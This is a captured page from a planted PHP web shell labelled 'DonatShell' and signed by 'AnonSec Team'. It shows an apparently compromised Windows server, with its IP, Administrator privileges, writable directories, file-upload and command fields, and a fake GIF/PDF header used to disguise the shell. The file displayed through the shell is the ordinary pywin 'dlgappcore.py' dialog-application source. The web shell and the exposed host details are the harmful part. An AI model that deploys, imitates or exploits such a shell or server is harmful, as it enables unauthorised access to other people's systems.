GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files (x86)/Certbot/pkgs/pythonwin/pywin/framework/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Program Files (x86)/Certbot/pkgs/pythonwin/pywin/framework//dlgappcore.py
# dlgappcore.
#
# base classes for dialog based apps.

from . import app
import win32ui
import win32con
import win32api
import sys
from pywin.mfc import dialog

error = "Dialog Application Error" 

class AppDialog(dialog.Dialog):
	"The dialog box for the application"
	def __init__(self, id, dll=None):
		self.iconId = win32ui.IDR_MAINFRAME
		dialog.Dialog.__init__(self, id, dll)

	def OnInitDialog(self):
		return dialog.Dialog.OnInitDialog(self)

	# Provide support for a dlg app using an icon
	def OnPaint(self):
		if not self.IsIconic(): return self._obj_.OnPaint()
		self.DefWindowProc(win32con.WM_ICONERASEBKGND, dc.GetHandleOutput(), 0)
		left, top, right, bottom = self.GetClientRect()
		left = (right  - win32api.GetSystemMetrics(win32con.SM_CXICON)) >> 1
		top  = (bottom - win32api.GetSystemMetrics(win32con.SM_CYICON)) >> 1
		hIcon = win32ui.GetApp().LoadIcon(self.iconId)
		self.GetDC().DrawIcon((left, top), hIcon)

	# Only needed to provide a minimized icon (and this seems
	# less important under win95/NT4
	def OnEraseBkgnd(self, dc):
		if self.IsIconic():
			return 1
		else:
			return self._obj_.OnEraseBkgnd(dc)
	def OnQueryDragIcon(self):
		return win32ui.GetApp().LoadIcon(self.iconId)

	def PreDoModal(self):
		pass


class DialogApp(app.CApp):
	"An application class, for an app with main dialog box"
	def InitInstance(self):
#		win32ui.SetProfileFileName('dlgapp.ini')
		win32ui.LoadStdProfileSettings()
		win32ui.EnableControlContainer()
		win32ui.Enable3dControls()
		self.dlg = self.frame = self.CreateDialog()
	
		if self.frame is None:
			raise error("No dialog was created by CreateDialog()")
			return

		self._obj_.InitDlgInstance(self.dlg)
		self.PreDoModal()
		self.dlg.PreDoModal()
		self.dlg.DoModal()

	def CreateDialog(self):
		pass
	def PreDoModal(self):
		pass


Anon7 - 2022
AnonSec Team